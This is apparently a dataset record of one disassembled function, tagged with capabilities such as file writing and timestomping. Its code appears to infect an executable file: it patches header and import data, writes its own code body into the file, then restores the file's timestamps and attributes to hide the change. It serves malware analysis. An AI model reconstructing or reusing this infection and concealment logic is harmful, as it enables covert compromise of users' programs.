Function at 0x100099bc
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [ebp + 0x10], 0
je 0x100099d1
cmp dword [ebp + 0xc], 0
jne 0x100099d6
jmp 0x10009dc4
lea eax, [ebp - 0x7c]
push eax
push 0
push dword [ebp + 8]
call fcn.100096c4
cmp eax, 1
jne 0x10009a27
mov eax, dword [section..data]
cmp dword [ebp - 0x74], 5
jne 0x100099ff
cmp dword [ebp - 0x70], 0
jne 0x100099ff
cmp dword [ebp - 0x6c], eax
jne 0x10009a11
cmp dword [ebp - 0x74], 5
jb 0x10009a11
cmp dword [ebp - 0x74], 5
jne 0x10009a22
cmp dword [ebp - 0x70], 0
jae 0x10009a22
push dword [ebp + 0x14]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp + 8]
call fcn.100097ff
jmp 0x10009a27
jmp 0x10009dc4
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x58], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10009dc4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x38], 0
jne 0x10009d9d
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
cmp eax, 0
je 0x10009d9d
mov dword [ebp - 0xc], eax
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.1000823f
test eax, eax
je 0x10009d94
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007e03
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
push dword [esi + 0x40]
pop dword [ebp - 0x2c]
cmp dword [ebp + 0x14], 0
jne 0x10009ae5
cmp dword [ebp - 0x2c], 0
je 0x10009ae5
jmp 0x10009d94
push str.LoadLibraryA
push 0
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.100084d4
mov dword [0x1000adb1], eax
push str.GetProcAddress
push 0
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.100084d4
mov dword [0x1000adb5], eax
cmp dword [0x1000adb1], 0
je 0x10009b25
cmp dword [0x1000adb5], 0
jne 0x10009b54
mov eax, 0
mov dword [0x1000adb1], eax
mov dword [0x1000adb5], eax
push 0
push 0x1000e969
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.100084d4
cmp eax, 0
je 0x10009d94
mov dword [0x1000adb9], eax
mov eax, fcn.1000aeb7
sub eax, 0x1000a518
mov dword [ebp - 0x1c], eax
add eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x34]
push dword [ebp - 0x10]
push 0x1000e95c
push dword [ebp - 0xc]
call fcn.10008342
cmp eax, 0
je 0x10009d94
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x20], eax
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
sub eax, dword [esi + 0x10]
mov dword [0x1000ac89], eax
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007dbb
mov ax, word [eax + 2]
movzx eax, ax
mov dword [ebp - 0x5c], eax
push dword [esi + 0x10]
pop dword [ebp - 0x60]
push dword [ebp + 0x10]
pop dword [0x1000aeb2]
cmp dword [0x1000adb1], 0
je 0x10009bd8
mov eax, dword [ebp - 0x20]
sub eax, dword [0x1000adb1]
mov dword [0x1000adb1], eax
cmp dword [0x1000adb5], 0
je 0x10009bef
mov eax, dword [ebp - 0x20]
sub eax, dword [0x1000adb5]
mov dword [0x1000adb5], eax
cmp dword [0x1000adb9], 0
je 0x10009c06
mov eax, dword [ebp - 0x20]
sub eax, dword [0x1000adb9]
mov dword [0x1000adb9], eax
push dword [ebp - 0x20]
pop dword [esi + 0x10]
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
push 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
mov ebx, 0x1000a518
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x1c]
push ebx
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
cmp dword [ebp - 0x18], 0
jbe 0x10009c6c
push 1
push 0
push dword [ebp - 0x18]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 4]
call sub.kernel32.dll_SetEndOfFile
call sub.kernel32.dll_GetTickCount
push 0xffffffffffffffff
push eax
call fcn.10002cbc
mov dword [ebp - 0x7c], eax
push 0xfa1bc352
pop dword [ebp - 0x78]
push 5
pop dword [ebp - 0x74]
push 0
pop dword [ebp - 0x70]
push dword [section..data]
pop dword [ebp - 0x6c]
push dword [0x1000e004]
pop dword [ebp - 0x68]
call fcn.10005214
mov dword [ebp - 0x64], eax
lea edi, [ebp - 0x7c]
mov edx, 0x24
mov eax, dword [ebp - 0x7c]
sub edx, 4
test edx, edx
je 0x10009cbf
xor dword [edx + edi], eax
jmp 0x10009cb3
push 0xc8
call fcn.1000bef0
add eax, 0x12c
mov dword [ebp - 0x84], eax
push dword [ebp - 0x84]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10009d15
mov dword [ebp - 0x80], eax
push dword [ebp - 0x84]
push dword [ebp - 0x80]
call fcn.10002b62
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x84]
push dword [ebp - 0x80]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x80]
call sub.kernel32.dll_GlobalFree
push 0
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
cmp dword [ebp + 0x14], 0
je 0x10009d92
cmp dword [ebp - 0x2c], 0
je 0x10009d92
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
or eax, eax
je 0x10009d92
mov dword [ebp - 0xc], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
lea ebx, [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push ebx
push eax
push dword [ebp - 0xc]
call dword [ebp + 0x14]
or eax, eax
je 0x10009d89
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007e03
mov esi, eax
push dword [ebp - 0x30]
pop dword [esi + 0x40]
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
jmp 0x10009d9d
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x58]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 0x10